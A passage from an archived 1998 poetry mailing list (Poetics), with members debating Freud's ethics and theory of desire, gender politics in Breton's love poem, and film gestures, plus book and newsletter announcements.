Next point. Talking about poetry gets at something that poetry can never get at by itself - mainly, the real subtext of a piece of writing. The poem layers all this shimmer that poetics can see through - basically, as Laura Moriarty put it, the Woman behind the Man. Right? Okay. That's criticism, I can dig that. Critics can see more in a poem than even the poet put in there. Nice going, critics. Keep diggin, maybe you'll get to China.

Third point. There's all this politics out there - real life, in other words - & lang-pos seen some of that so bully for them give them tenure I say; why hassle the academy? Why hassle the academy? Because you think you're talking about poetry, & I think you're talking poetry out the door. - Henry Gould, individual poem-writer (interpret me! interpret me! it's all lumpy lumpen bourgeois delusions of the superstructure! interpret me! do it to me! read me! sigh... they're too busy reading Marx or some such endless translated shit...) (do you read me? am I open enough?) pearls before swine. water under the bridge.

John Wieners deconstructed all of it long, long ago. "politics doesn't have the aura of literature" or something like that... another deluded psycho poem-maker... does he further the revolution? indeed he does; oh, his poem about Columbus Ohio is on the brink of Althusserian bishpedoolianism... yes, I agree, we should include that definitely in our next anthology of fucked-up heroes of the future... did we get the $$$ for that yet? George, where did you go last summer???

e v e r y l e t t e r i s h o l y
& y o u m i s s e d t h e b o a t
- a f t e r h i m , g i r l s !!!!
c u t h i s b a l l s o f f !!!

In this most p.c. empire of ours, poets are yids - Marina Tsvetaeva (slightly paraphrased)

↑ Index

299. **Tenney Nathanson**
Re: movie query
Sun 8 Feb 1998

---

yes she does. It's the last shot or enarly the last shot of the film, which I haven't seen in many years so don't remember many plot details but saw many times before I stopped seeing it. anyway he's dying in the street and she's betrayed him in some way (to the cops? to save herself) and she watches him die and, preoccupied, unreadable, makes that gesture. it's an amazing moment.

while we're at it there's Brando putting on Eva Marie Saint's dropped white glove in On the Waterfront, stretching it as he flexes his hand. a bit of improvisation, supposedly--she dropped the glove by accident while they were filming.

what else?

Tenney

At 06:54 AM 2/6/98 -0800, you wrote:
>In Godard's Breathless "Belmondo" rubs his thumb across his lips in
>response to looking at a Bogart poster. I don't remember if Seberg later
>makse the same gesture.
>
>>So I wrote this poem from an image which comes from a gesture in a movie
>>and I think it is The Conformist, not sure, must know. Having a bit of
>>trouble finding it to rent in the neighborhood, haven't gone further
>>yet.
>>
>>Here it is: A man in a black trenchcoat gestures to a woman by placing
>>his thumb on his lips. She does the same, perhaps later. It's French.
>>
>>??????
>>
>>thanks,
>>rachel
>
>
>
>Herb Levy
>[redacted]
>

↑ Index

300. **Tenney Nathanson**
Re: sex power poetry
Sun 8 Feb 1998

---

wasn't that poet Poldy?

At 02:58 PM 2/7/98 -0800, you wrote:
>I think Chris Stroffolino's posting says volumes, makes all kinds of sense
>of the process whereby not only a *love* poem gets to be. (I hadnt heard
>the diggers : "to love is to fail," before, either; something to chew on.)
>I can remember the first poem I ever wrote (unfortunately), and it was a
>love-lament; but I can't remember who had made me blue enough to write.
>
>I thought Chris had written "minneswingers" but that was me reading him.
>
>Like to applaud Kent's post re-objectification, also. (It was a good place
>to remark that humans qua species are cannibal). Amorous companions
>(depending upon temperament) may become further aroused by having their
>parts named and appreciated--"pointed out," I suppose. The poetry-reading
>is not the bedroom, though. I remember my wife (a former wife) taking
>exception to a poet (here nameless) describing his penis (still attached)
>floating in the bathwater: "I dont want to have to picture _that_ "
>
>This-all started, right?, when Robert Hale reported scant success resulted
>from giving that Breton poem to a romantic interest? Perhaps there's a
>touch of "one-size-fits-all" about sending another man's poem to court the
>woman you want to make "yours". What if she falls for Breton instead? The
>conclusion to that thought is, "write your own and give her that," but I
>never did, not until it was too late, or otherwise a redundancy. During
>courtship, I may have said lines from other people's poems, but I tried to
>disguise them as my own, spontaneous phrases. And in fact it was
>spontaneity, recall on the instant. Anyway, I have met Robert Hale, and I
>don't think he needs Breton or any of those latin lovers to help him.
>
>George Bowering, before he married himself, used to say love-poetry to my
>wife (my former wife), with what success I was never quite certain. I know
>that she laughed a lot whenever his name came up. She admired his
>fingernails, too, in those years romantically stained with nicotine.
>
>db 3
>

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301. Karen Kelley
Re: laura moriarty's e-ddress
Sun 8 Feb 1998

david bromige wrote:
>
> Listfellows : forgive me conducting private biz in public, but how else to
> reach you, Laura ? Your posting today still has the SFSU e-ddress. But my
> reply to yr message re "sublime" was returned to me after 72 hours from
> that e-ddress. Can you explain b-c, and repeat the question re my text?
> Thanks, David

I've been trying to reach you as well.
Karen

↑ Index

302. Rebecca Weldon Sithiwong
Love Poems
Sun 8 Feb 1998

Passion between a man and a woman can produce a feeling of ownership on the part of one or both. Whether one is poet or one is not, Breton's poem is recognizable passion. The current discussion emerged as a result of that recognition and rejection by a woman of a man.

My woman, my man, my love, my anything and everything flows when passion whirls with the four winds. However fair we have endeavored to become, whatever archetypes we have succeeded in regulating to the siberian wastes of our inner worlds, we are what we have experienced. The force of passion, by it's very nature, is demanding, uninhibited, creative and destructive. It is the wind and fire which cleans the forest of our relationships and makes evident the paths we choose in the aftermath, when one may beware of Breton or embrace his passion.

Rebecca

↑ Index

303. Tom Mandel
who published Absence Sensorium
Sun 8 Feb 1998

Joel K. asks who published Absence Sensorium, the long poem that Dan Davidson and I wrote together. AS was entering production when Dan killed himself.

Absence Sensorium was published by Potes & Poets in Autumn '96. Its ISBN# is 0-937013-64-1

Tom Mandel

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]
****
Join the Caucus Conversation

↑ Index

304. Tom Mandel
my French insistance
Sun 8 Feb 1998

I wrote my words on "ma femme" in too much of a hurry, the way one will *insist* on something knowing one hasn't the right amount of time/attention to _explore_ that same thing. As compensation for not having the time/attention to explore it. As if "I don't have the time not to be right about this."

The result was I was incorrect and also that I ignored the context I was writing about. That Breton's poem was *not* about his wife makes my insistance on the meaning of the term look all the more foolish, don't you agree?

While I'm at it, thanks to Doug P. for pointing out that it was Fats Waller and (...forgotten), not Billie Holiday, who wrote Nobody's business....

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]
****
Join the Caucus Conversation

↑ Index

305. louis stroffolino
Re: sex power shakespearey
Sun 8 Feb 1998

Eric Blarnes brings up Shakespeare (though he confuses one Antonio for another, Sebastion and Bassanio, if not Ben Jonson for Samuel Johnson).... and david bromige suggests that mr. hale's "failure" might have been because of the "one size fits all" quality of the poem and so i say (though it's easier to tell someone else what to do than to be one to take my own advice---to paraphrase a repeated shakespearean device [Portia in MV, Ophelia's rebuke of Laertes before she turns pliable, the Queen to Bushy or is it Bagot or Green in RICHARD II, LEONATO to another antonio in MUCH ADO, etc.) Well, Mr. Hale, if you REALLY want to bw with this woman, if you still want to try to woo her in words and try one more time (at the risk of coming off as one "romantically overobsessed" etc.), maybe you could write her a LETTER that JOKES about the whole thing... a la the early scene ion 12TH NIGHT when VIOLA (disguised as Cesario) confronts Olivia with the prepared text from ORSINO which lies in her "MASTER'S BOSOM" and OLivia says "IN WHAT CHAPTER OF HIS BOSOM"??????????? It is a great instance of one of those ways Shakespeare can have his "romantic" cake and eat it (or diss it) too, a way to go beyond a narrow sense of petrarchan poetry while at the same time NOT ignoring (or absolutely debasing) the sentiments (tho one could say ideology) that give rise to it... while widening the idea of "poetry" to include wit and dialogue and all those heteroglossic things a lot of twentiethcenturialists (sic) like to think is part of the "NEW"..... chris

↑ Index

306. Lisa Samuels
Re: colding & heating
Sun 8 Feb 1998

in response to louis cabri, sat 7 feb, on
individualism vs. singularity.

in her 1928 book, =Anarchism Is Not Enough=, laura riding distinguishes among the "collective-real" (people in groups), the "individual-real," (a person in relation to reality, to the "real" world of nature, broadly considered), and the "individual-unreal." this last sounds akin to what you are calling "singularity." for riding, the realm of the individual-unreal was The One worth living for and in. and in writing poetry one accessed this realm and "discharged pieces of self" as she put it. not =one=self, "but self." in this unreal singularity one was truest to the self and to poetry. and effectively truest to other people as well.

promoting what you call the hardwon. in participating in the institution of publishing (though never in academia), riding wanted people to =try= to live that individual-unreal even as she knew it was impossible. and the only thing worth trying, while always keeping in mind its impossiblity. what you wrote reminded me of her, hence the comment on =anarchism=. in either case the issue is maintaining one's deliberate ideals within necessary participation in the world. oneself as social construction is the "individual-real"; oneself as experientially incommensurable is the "individual-unreal," your "singularity." we can and do have both. at least this is my deliberate belief. and despite all those serious sentences, it's a belief that makes me delirious as o'hara: "YIPPEE!! I'm glad I'm alive!! I'm glad you're alive too, baby, because I want to fuck you" ("ode to michael goldberg ('s birth and other births)")

yippee!
lisa samuels

↑ Index

307. Karen Kelley
Re: movie query
Sun 8 Feb 1998

Tenney Nathanson wrote:
>

>
> while we're at it there's Brando putting on Eva Marie Saint's dropped white
> glove in On the Waterfront, stretching it as he flexes his hand. a bit of
> improvisation, supposedly--she dropped the glove by accident while they
were
> filming.
>
Isn't that an amazing moment? Intensely sexy. I've always
assumed/wondered if it was improv. And then how delicately & awkwardly
he seats himself on the swing, totally undermining the whole macho aura.

There's a wonderful book of interviews w/Brando--_Conversations with Brando_.

↑ Index

308. Joe Ahearn
Re: freud's trick
Sun 8 Feb 1998

> *the freud i know is different from the one that you*

> *describe. as some feminists have pointed out, his is the only theory of desire that we have.*

well, hold on a minute. there is after all the two thousand year flowering of buddhism, state to state, age to age, India to Burma to Tibet, many languages, millions of people, that speaks precisely to DESIRE in all its subtle woundings.

do i detect a faint whiff of eurocentrism?

after all, even bob dylan, who is famous on this list made a pretty good record out of his theory of desire. we won't even mention that terrifying black poor American angel, Robert Johnson, and his theory of desire, which would be too scary, because he too like Sakyamuni and Ramblin Bob doesn't speak French and hasn't added the word THEORY to his thought.

Joe Ahearn
Rancho Loco Press
Dallas

Joe Ahearn

[redacted]

↑ Index

309. **R M Daley**
Re: freud's trick
Sun 8 Feb 1998

---

joe

wow. having just been reading freud for about 2 years or so, i havent read a lot of the stuff that he is i think primarily cool for - interpretation of dreams, dora, wolfman, but i could never really consider becoming, shall i say, personally invested, in his method of "analysis," as you seem to be-

how can any "analysis" be anything OTHER than some form of rhetoric- I hate to say that "everything's rhetorical", but isnt it? and this is also to say that i don't attach a perjorative connotation necessarily to the use of rheotoric - but my interest/attraction to freud is insofar as he is so amazingly unashamed in his use of it- and it goes somethin like this:

for example,

in his lecture on femininity, he begins with "To-day's lecture should have not place in an introduction, but it may serve to give you an example of a detailed piece of analytic work, and I can say two things to recommend it. It brings forward NOTHING but observed facts (his emphasis) , almost without any speculative additions, and it deals with a subject which has a cliam on your interest

second almost to no other. Throughout history people have knocked heads against the riddle of the nature of femininity. Nor will you have escaped this problem--those of you who are men; to those of you who are women this will not apply--you are yourselves the problem."

PLEASE PLEASE PLEASE

Freud begins , rhetorically establishes himself a problem--WOMEN!! They are, from the outset, taken as an aberration, the "other," as we who are perhaps too involved in post-structuralist analysis apt to call it-

then again, maybe it isnt even MY problem, being a woman

ps. Irirgaray has a PHD in philosophy and linguistics, which makes her on some level qualified to talk on the subject, I would think (and herself a practitioner of psycho-analysis) - it's just that she got kicked out for schoolin Lacan and Freud in a MAJOR WAY as a grad student at Vincennes

sorry for the "gratuitous" nature of my last post

forever female,
rd

↑ Index

310. **R M Daley**
Re: freud's trick
Sun 8 Feb 1998

On Sun, 8 Feb 1998, Joe Ahearn wrote:

> >
> >the freud i know is different from the one that you
> >describe. as some feminists have pointed out, his is the only theory of
> >desire that we have.
>
> well, hold on a minute. there is after all the two thousand year flowering
> of buddhism, state to state, age to age, India to Burma to Tibet, many
> languages, millions of people, that speaks precisely to DESIRE in all its
> subtle woundings.
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> do i detect a faint whiff of eurocentrism?
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> after all, even bob dylan, who is famous on this list made a pretty good
> record out of his theory of desire. we won't even mention that terrifying
> black poor American angel, Robert Johnson, and his theory of desire, which
> would be too scary, because he too like Sakyamuni and Ramblin Bob doesn't

> speak French and hasn't added the word THEORY to his thought.
>
> Joe Ahearn
> Rancho Loco Press
> Dallas
>
>
>
> Joe Ahearn
> _____
> [redacted]
>
>
>
ps.

AMEN brutha

desire desire desire desire desire desire diesrei diesreiidesire deisire diedieds

↑ Index

311. Joe Ahearn
Re: freud's trick
Sun 8 Feb 1998

Dear rd,

First, there is no such thing as a gratuitous post to POETICS, so far as I can see, and even if there were, I'm the last person you should apologize to. In fact, my feeling is that you should apologize to NO ONE. ('I am American artist / and I have no guilt' -- Patti Smith, the goddess).

Second, I'm not very involved with Freudianism. I don't like about it the same things that you don't like. Freud did bring us some good things, in my opinion, including the theory and science of the unconscious, but he has his failings which I am tired of trying to to step around.

I prefer Lacan, Kristeva, and Irigary, in fact, to Freud. But I felt that the previous post was managing to elide the non-European, non-theoretical world that teems. Hence what I said.

Best wishes,
jra

At 12:46 PM 2/8/98 -0700, you wrote:
>joe

>
>wow.
>having just been reading freud for about 2 years or so, i havent read a
>lot of the stuff that he is i think primarily cool for - interpretation of
>dreams, dora, wolfman, but i could never really consider becoming, shall i
>say, personally invested, in his method of "analysis," as you seem to be-
>
>how can any "analysis" be anything OTHER than some form of rhetoric- I
>hate to say that "everything's rhetorical", but isnt it? and this is also
>to say that i don't attach a perjorative connotation necessarily to the
>use of rheotoric - but my interest/attraction to freud is insofar as he is
>so amazingly unashamed in his use of it- and it goes somethin like this:
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>for example,
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>in his lecture on femininity, he begins with
>"To-day's lecture should have not place in an introduction, but it may
>serve to give you an example of a detailed piece of analytic work, and I
>can say two things to recommend it. It brings forward NOTHING but observed
>facts (his emphasis) , almost without any speculative additions, and it
>deals with a subject which has a cliam on your interest second almost to
>no other. Throughout history people have knocked heads against the riddle
>of the nature of femininity. Nor will you have escaped this
>problem--those of you who are men; to those of you who are women this will
>not apply--you are yourselves the problem."
>
>PLEASE PLEASE PLEASE
>
>Freud begins , rhetorically establishes himself a problem--WOMEN!! They
>are, from the outset, taken as an aberration, the "other," as we who are
>perhaps too involved in post-structuralist analysis apt to call it-
>
>then again, maybe it isnt even MY problem, being a woman
>
>ps. Irirgaray has a PHD in philosophy and linguistics, which makes her
>on some level qualified to talk on the subject, I would think (and herself
>a practitioner of psycho-analysis) - it's just that she got kicked out for
>schoolin Lacan and Freud in a MAJOR WAY as a grad student at Vincennes
>
>
>sorry for the "gratuitous" nature of my last post
>

>
>
>forever female,
>rd
>
>

Joe Ahearn

_____

[redacted]

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312. **Kali Tal**
Re: freud's trick
Sun 8 Feb 1998

jb comments:

> *as freud*
> *advises at the beginning of the first introductory lectures, those who haven't*
> *undertaken an analysis are in no position to comment on it.*

reminds me uncomfortably of some of the viet nam vets with whom i work (actually, the ones with whom i prefer not to work) who say, "man, if you haven't been there you got no right to talk about it." experience=authority. makes it hard to talk about the civil war, say (or maybe easier, since all who 'know' are dead and can't argue no more). still, seems essentially an anti-intellectual position, not tenable here. one might as easily argue that those who have gone through psychanalysis are among the least qualified to talk about it cuz of all the money & time they've invested. cognitive dissonance, y'know? like what makes a marine figure boot camp made him a 'man.' i mean, it *better* have, right?

> *freud has probably done as much as any man in the*
> *ongoing effort to free women from the sexual stereotypes they were/are*
> *expected to conform to.*

hmmm. the freud *i* know has done more than most men to provide ammunition for those who wish to preserve sexual stereotypes to which women were/are supposed to conform. most of all, perhaps, by creating/justifying the 'psychoanalytic relationship,' which is a hierarchical analyst/patient relationship based on the 'authority' of the analyst. i don't care for irigary particularly, but monique wittig, whose work i like very much, has something to say about this...

> *analysis is the most ethical praxis*
> *because it insists that all levels of desire be acknowledged whenever there's*
> *any human intercourse, but it is always (as olson points out) local.*

and this is exactly what i don't like about psychoanalysis--the position of moral superiority it assumes (must assume by virtue of its self-definition) over all other philosophies, while, at the same time, insisting it is not a 'philosophy' and is therefore above the sort of criticism that philosophies must endure. psycho-analytic theorists have seemed to me to be eurocentric to an extreme that would be laughable if the discipline weren't so powerfully entrenched.

klaus theweleit, who writes so brilliantly on male fantasies, has done a rather pretty study of freud's own desires in his slim volume, _object-choice_.

sticking my head out of the hole in which i've been working...

kali

↑ Index

313. William Slaughter
Mudlark
Sun 8 Feb 1998

MUDLARK
An Electronic Journal of Poetry & Poetics
Never in and never out of print...
http://www.unf.edu/mudlark

_____

announces the publication of

A SOUND THE MOBILE MAKES IN WIND

Fifty American Haibun by Sheila E. Murphy

* * * * * * * *

"For me, haibun seem to happen forth
in full sound costume as my mind plays
in the language only to find
what later will be called work."

--from the Author's Introduction

* * * * * * * *

Sheila E. Murphy's book manuscript LETTERS TO UNFINISHED J. was selected in this year's open poetry competition sponsored by Sun & Moon Press, and will be published by Sun & Moon. Dennis Phillips was the judge. FALLING IN LOVE FALLING IN LOVE WITH YOU SYNTAX: SELECTED AND NEW POEMS has just been released by Potes & Poets Press. Recent works include A CLOVE OF GENDER (Stride Press, 1995). Murphy's work has been widely anthologized, most recently in FEVER DREAMS: CONTEMPORARY ARIZONA POETRY (The

University of Arizona Press, 1997) and THE GERTRUDE STEIN AWARDS IN CONTEMPORARY POETRY (Sun & Moon Press, 1994, 1995). The Contemporary Authors Autobiography Series recently brought out an autobiography of Sheila E. Murphy, including photographs of Murphy with family and friends. Sheila Murphy co-founded with Beverly Carver and continues to coordinate the Scottsdale Center for the Arts Poetry Series, now in its eleventh season. Murphy is President of the management consulting firm Sheila Murphy Associates. Since 1976, she has made Phoenix, Arizona, her home.

William Slaughter, Editor
E-mail: [redacted]

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314. Karen Kelley
Re: freud's trick
Sun 8 Feb 1998

Joe Ahearn wrote:

> *well, hold on a minute. there is after all the two thousand year flowering of buddhism, state to state, age to age, India to Burma to Tibet, many languages, millions of people, that speaks precisely to DESIRE in all its subtle woundings.*

Hi Joe,

A few recommended titles, perhaps?

↑ Index

315. Joe Brennan
Re: freud's trick
Sun 8 Feb 1998

Well Joe, on this list I'm not surprised at any of the whiffs some folks seem to inhale. I've never heard of Buddhism being reduced to a theory, but I'm am after all eurocentric thru & thru -- as is everyone else on this net. However, if you have some textual citations, or if you are yourself a practicing buddhist who's managed to cross the cultural boundry that Whorf declares is impossible to cross, I'm willing to take instruction. Ditto for Dylan & Johnson. One shouldn't confuse an aesthetic for a theory. I also see no reason why Johnson's express of desire should be any scarier than yours.

joe brennan

↑ Index

316. **Joe Brennan**
Re: freud's trick
Sun 8 Feb 1998

In the first place to say that everything is rhetoric is to imply that in this regards all things are equal. I don't believe that such is the case. I'm not trying to argue that Freud was a feminist, or that his remarks about women generally are au current with contemporary ideas on the subject. Freud was a member of the viennese bourgoise, this is no secret. But the expanse and strength of Freud is his discovery of unconscious processes, and to point out the extent to which arrested desire determined conscious thought. This was an unpopular thought then, and it's an unpopular thought now; but the whole basis of the freudian method is devoted to the bringing into conscious thought as much as possible of what was heretofore denied to it.

If ethical behavior requires one to consider all of the possibilities of an action before deciding how to act, then the freudian method must be viewed as ethical in both praxis and result, and Freud's ethics, if you remember, are what we're discussing. There's a difference between being wrong, and being unethical.

What you or I choose to embrace in our respective searches isn't germane to the discussion, except that as you don't have the experience as to what's valuable in freudian analysis, you're left to critiques of matters that practically speaking are not meaningful to any discussion of it.

Joe

↑ Index

317. **Joe Brennan**
Re: freud's trick
Sun 8 Feb 1998

Joe

You don't have to step around Freud's failings any more than modernists have to apologize for the brutality of Pound, who has a hell of a lot more to answer for. What's interesting in Freud is what seems to interest you. As far as liking Lacan is concerned, Lacan is so freudian that for a long time he was the only commentator who seemed to understand him; one simply can't separate Lacan from Freud except in the extensions of freudian thought he was able to master. As Lacan points out, if you don't understand Freud, you can't understand him.

Joe

↑ Index

318. **Karen Kelley**
help
Sun 8 Feb 1998

I'm looking for online work by Sally Doyle, or perhaps suggestions about where to find printed work.

Thanks!
Karen

↑ Index

319. **Henry Gould**
(no subject)
Sun 8 Feb 1998

On Sat, 7 Feb 1998 22:15:33 -0500 Louis Cabri said:
>So far this month the average is 2.8 posts per active email address
>(that's pretending Henry's 6 email addresses are separate
>people; the average figure would otherwise be lower than
>that). Henry Gould's total so far in February - in seven days,
>that is - is 22 posts, or about ten times as many posts as
>anyone else.

Eric Blarnes, Jack Spandrift, and that new list member Ben Carrelis are more complete individuals than I am. They contradict me constantly, undercut me viciously. Where would we be without Ben Carrelis' sharp analysis of the historical conditioning of HG's "idealism"? Gould would probably still be sending sonnets about his "papa" the carpenter.

I will say, though, Louis, that after that last over-the-top Gould snarl Eric called a video conference and we firmly decided that since the battle for indie-crit has been a resounding victory (as I'm sure all 600 of you will agree) it's time for us to settle down, chill out, relax, and, basically, SHUT UP for a while. Bob Grumman started it, it's all his fault. I didn't know you guys & gals were all part of an ultra- literary mafia. Now we all know better & will wait peacefully for the millennium and the next virtual-reality p.r. poetic steamroller to ride the hokum to glory. It's all penmanship, right, Shem? - Henry Gould, the Quiet American

↑ Index

320. **George Thompson**
Re: freud's trick
Sun 8 Feb 1998

Freud's weirdnesses about sexuality and women and the irrefutability of psychoanalysis are all well-known, and beyond justification. But...

I like his refusal to accept things at face value.

I like his conviction that if you look long enough you will find another motive.

I like his belief that all things are signs of other things.

I like his ambivalence about culture.

I like his passion for the primitive.

I like his semitism in the face of all that anti-semitism.

I trust his motives more than, say, Jung's.

George Thompson

↑ Index

321. Pierre Joris
Re: freud's trick
Sun 8 Feb 1998

Freud's major ethical failing (that was the beginning of the thread, no?) lies, I believe, way beyond the gender question discussed these last few days on the list. The man did come up with the concundrum of the "death instinct" and then used it to justify the wholesale slaughter of millions during World War One, with no gender distinction. "It's not the Kaiser, its your own lil'ole Thanatos makes you wanna inhale that nasty stuff . So just get back down into them trenches and breathe in deeply..."

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
  — La Rochefoucauld
==========

↑ Index

322. **George Thompson**
Re: freud's trick
Sun 8 Feb 1998

Wait a minute, wait a minute. I know that, this being the Poetics List, rhetoric is the final judge. But please tell me where exactly Freud applies the death wish to "justify the wholesale slaughter of millions during World War One"....

Just chwcking the facts here...

GT

> *Freud's major ethical failing (that was the beginning of the thread, no?) lies, I*
> *believe, way beyond the gender question discussed these last few days on the list.*
> *The man did come up with the concundrum of the "death instinct" and then used it to*
> *justify the wholesale slaughter of millions during World War One, with no gender*
> *distinction. "It's not the Kaiser, its your own lil'ole Thanatos makes you wanna*
> *inhale that nasty stuff . So just get back down into them trenches and breathe in*
> *deeply..."*
>
> --
> *==========*
> *pierre joris 6 madison place albany ny 12202*
> *tel/fax [redacted] email:[redacted]*
> *http://www.albany.edu/~joris/*
> *----------*
> *"What often prevents us from giving ourselves over to*
> *a single vice is that we have several of them."*
> *La Rochefoucauld*
> *==========*

↑ Index

323. **simon**
Re: freud's trick
Sun 8 Feb 1998

Dear Joe Brennan,
For the Buddhist theory and analysis of the mind, please see
Abhidharma texts, the Abhisamya lankhara, or even the Abhidharma Kosa.

Re Whorf: well, no, that isn't a Whorf declaration.

cordially,
beth simon

↑ Index

324. Tenney Nathanson
Freud'd truck
Sun 8 Feb 1998

>
> and this is exactly what i don't like about psychoanalysis--the position of
> moral superiority it assumes (must assume by virtue of its self-definition)
> over all other philosophies, while, at the same time, insisting it is not
> a 'philosophy' and is therefore above the sort of criticism that
philosophies
>
> must endure. psychoanalytic theorists have seemed to me to be eurocentric
to
> an extreme that would be laughable if the discipline weren't so powerfully
> entrenched.
> klaus theweleit, who writes so brilliantly on male fantasies, has done a
> rather pretty study of freud's own desires in his slim volume,
> _object-choice_.
> sticking my head out of the hole in which i've been working...
> kali

Hi Kali.

(pog goes public?)

One interesting avenue here: a lot of the sharpest critiques (I mean--in my opinion--smartest, not most stinging) of Freud have been written by using Freud's own analytic techniques on Freud's text (and not to show that they're impoverished techniques, but the reverse): Kristeva and Irigaray, esp. Like: Freud tells us somewhere (dream book) that if the analysand says about a dream "I dunno who that woman in the dream was, but one thing I DO know is that it was NOT my mother," we can read "that was my mother." So Kristeva: when Freud insists that the only unambivalent relationship in human intercourse is between mother and infant son, we can safely read..... And then this becomes part of a terrific essay, "Place Names" in /Desire in Language/. There's also Sam Weber and Neil Hertz, in this vein.

see you around the neighborhood,

Tenney

↑ Index

325. **Tenney Nathanson**
Re: freud's trick
Sun 8 Feb 1998

---

also: I dunno that it speaks to "desire" exactly, but see also the sometimes annoying D T Suzuki's terrific /The Zen Doctrine of No-Mind/ [=mu nen]

Tenney

At 09:46 PM 2/8/98 -0500, you wrote:
>Dear Joe Brennan,
>For the Buddhist theory and analysis of the mind, please see
>Abhidharma texts, the Abhisamya lankhara, or even the Abhidharma Kosa.
>
>Re Whorf: well, no, that isn't a Whorf declaration.
>
>cordially,
>beth simon
>

↑ Index

326. **Tenney Nathanson**
Re: machine translation
Sun 8 Feb 1998

Catherine--

are you sure the url is right? I get something weird when I point to this.

thanks

Tenney

At 12:54 PM 2/6/98 -0500, you wrote:
>FYI: alta vista now has machine translation free at
><http://ad.doubleclick.net/adi/babelfish.altavista.digital.com/>http://ad.doubleclick.net/adi/babelfish.altavista.digital.com/
>
>Catherine Daly
>[redacted]
>

↑ Index

327. Tom Beard

my my

Sun 8 Feb 1998

From: d powell <[redacted]>

> As for Bessie Smith, Ma Rainey and many other early blues singers, their male muses were often
> "bulldaggers" (the term of the day) or butch girls. This gives the possessive "my" a much different > function, akin to when you order eggs benedict in a restaurant and you get something with cheese sauce > instead of hollandaise. The waiter then tells you, "this is our eggs benedict" meaning "our version of." Oh > my man I do love him so, whatever gender he happens to be...

This is a good reminder that to use the phrase "my X" does not always imply ownership of X, just a relationship to X.

Give ratings out of 10 for the extent to which "my" implies possession in each of the following:

my man
my woman
my father
my mother
my house
my street
my city
my world
my friend
my colleague
my boss
my body
my mind
my words
my God
my name

Tom Beard

↑ Index

328. **Louis Cabri**

PhillyTalk 4

Mon 9 Feb 1998

The recent Freud & Ron Silliman/Jeff Derksen list discussions might segue well into this announcement of PhillyTalk 4: new work by & a dialogue between Jena Osman & Tina Darragh.

Tidbits:

Dreams, Tina writes in the newsletter, "are not limited to Freudian analysis." Her recent "Dream Rims" poems, for instance (see example in Chain #4), "obliterate," according to Jena, "the concept of dreams as something to decode."

Tina considers Joan Retallack's important essay ":Re:Thinking:Literary:Feminism: (three essays onto shaky grounds)" as the "companion piece to what Ron & Jeff have written about re: community/dialogue" (see PhillyTalks #3).

For Tina & Jena it seems the outcome is a new means & meaning for claims of what might be called sub-sentential language use, as well as for distinguishing "chance" & "error" in, on one hand, Joan & Tina & Jena's work, & on the other, John Cage and Jackson Mac Low's.

Selection of books & articles they discuss:

Tina Darragh, Striking Resemblance (Burning Deck, 1989); a(gain)2st the odds (Potes & Poets, 1989); adv. fans - the 1968 series (Leave Books, n.d.); Interview with Tina Darragh by Joan Retallack (Rod Smith's _Aerial_ #5, 1989)

Jena Osman, Twelve Parts of Her (Burning Deck, 1989); underwater dive - version one (paradigm press, 1990); Amblyopia (Avenue B, 1993); recent poems at her Buffalo website & in Conjunctions (Spring '97)

Joan Retallack, "Poethics of a Complex Realism," _John Cage: Composed in America_, eds. Marjorie Perloff & Charles Junkerman (U Chicago P, 1994); ":Re:Thinking:Literary:Feminism: (three essays onto shaky grounds)," _Feminist Measures: Soundings in Poetry and Theory_. Lynn Keller & Cristanne Miller, eds. U Michigan P, 1994)

Barbara Marie Stafford, _Body Criticism_ (MIT, 1991)

PhillyTalk 4 is available for $2 (or donation) from me at
4331 Pine St., #1R, Philadelphia, PA, 19104.

Don't forget that this ongoing dialogue will culminate in #6, the response issue to #s 1-5, for which I am now encouraging contributions (deadline May 1st) - but more on that later.

***

I should also say, for the record, that Jeff Derksen couldn't have responded to all that Ron Silliman had to say because Ron had, as it happened to work out, the last word in the exchange in #3.

↑ Index

329. **Jacques Debrot**
Re: PhillyTalk 4
Mon 9 Feb 1998

Dear Louis,

I think I sent you only $2 for #s 2 & 4, will send you another buck this a.m.

jacques

↑ Index

330. **Jacques Debrot**
Re: Oops!
Mon 9 Feb 1998

My *PT* post was obviously not intended for the list -- sorry. jd

↑ Index

331. **linda russo**
address query
Mon 9 Feb 1998

---

accd to Spencer Selby's Exp Mag list # 50

No Roses Review (ed. Carolyn Coo) is located at
1322 N. Wicker Park Chicago --

but this seems no longer to be the case. Does anyone know of its whereabouts?

↑ Index

332. Mark Prejsnar
Re: Incorrect
Mon 9 Feb 1998

Kent, about the Breton poem. (And, indeed, about feminist analysis in culture in general, in relation to most things going on in our culture...)

And, for that matter, this is also a point about poetry, I think...

I have trouble with your unmodulated response to the Breton poem and its (pretty complex) resonances on the level of sexual politix...*Why* does your appreciation of the thing as a fairly compelling piece of poetry preclude there being something (as you put it) *wrong* with it?? As I suggested in a post a number of days ago, its being vibrant and compelling as poetry simply makes it more the case (not less) that it's disturbing and perturbing. (I prefer these words to "wrong").

As for what it is that's disturbing and perturbing...Well, that has to do with the isolation of the woman as an isolated icon, reduced to erotic attributes devoid of agency, that can be typified (but does not entirely derive from) the petrarchian poetry mode..and the way this links to various modes of consciouness and behavior that rob people in general of agency and dignity, but which are particularly built into patriarchal cultural patterns.

A poem can have plenty "right" about it, but still also have plenty "wrong" about it. Poetry (like reality, with which it has much in common) often has a number of dimensions at once!

Mark P.

↑ Index

333. daniel bouchard
Loner vs. Buddy System
Mon 9 Feb 1998

Henry,

I don't imagine even you imagine that you are the Loner you think you are. If you were you wouldn't be preaching the "Indie" Gospel to the heathen, or engaging so much on the POetics list in general. I don't have my books at this computer terminal: could someone please quote Oppen into the Poetics Record ("the isolated man fails . . . but I will listen")?

But what bugs me, Henry, is that you deliberately misread (or overread) a term like "mutual comradeship." Bad Henry, naughty and obdurate!

(The "mutual" by the way I take from Kropotkin's MUTUAL AID, a book that debunks "survival of the fittest" (capitalism) and instead stresses, well, mutual aid among species (lower case-ism); and "comrade" I use in the literary sense Jennifer Moxley does, which is appropriate and endearing.) How you extracted "uncritical promotion" from my post is hardly worth addressing and I am only writing this because I like you, buddy.

